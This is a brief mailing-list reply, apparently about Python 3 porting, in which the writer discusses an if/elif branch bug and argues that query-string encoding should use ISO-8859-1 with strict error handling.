"strict" can raise UnicodeError > v = quote_plus(v.encode("ASCII","replace")) > l.append(k + '=' + v) > > I don't understand how the "elif" section is invoked, as it uses the > same condition as the "if" section. This looks like a 2->3 bug; clearly only the second branch should be used in Py3K. And that "replace" is also a bug; it should signal an error on encoding failures. It should probably catch UnicodeError and explain the problem, which is that only Latin-1 values can be passed in the query string. So the encode() to "ASCII" is also a mistake; it should be "ISO-8859-1", and the "replace" should be a "strict", I think. Bill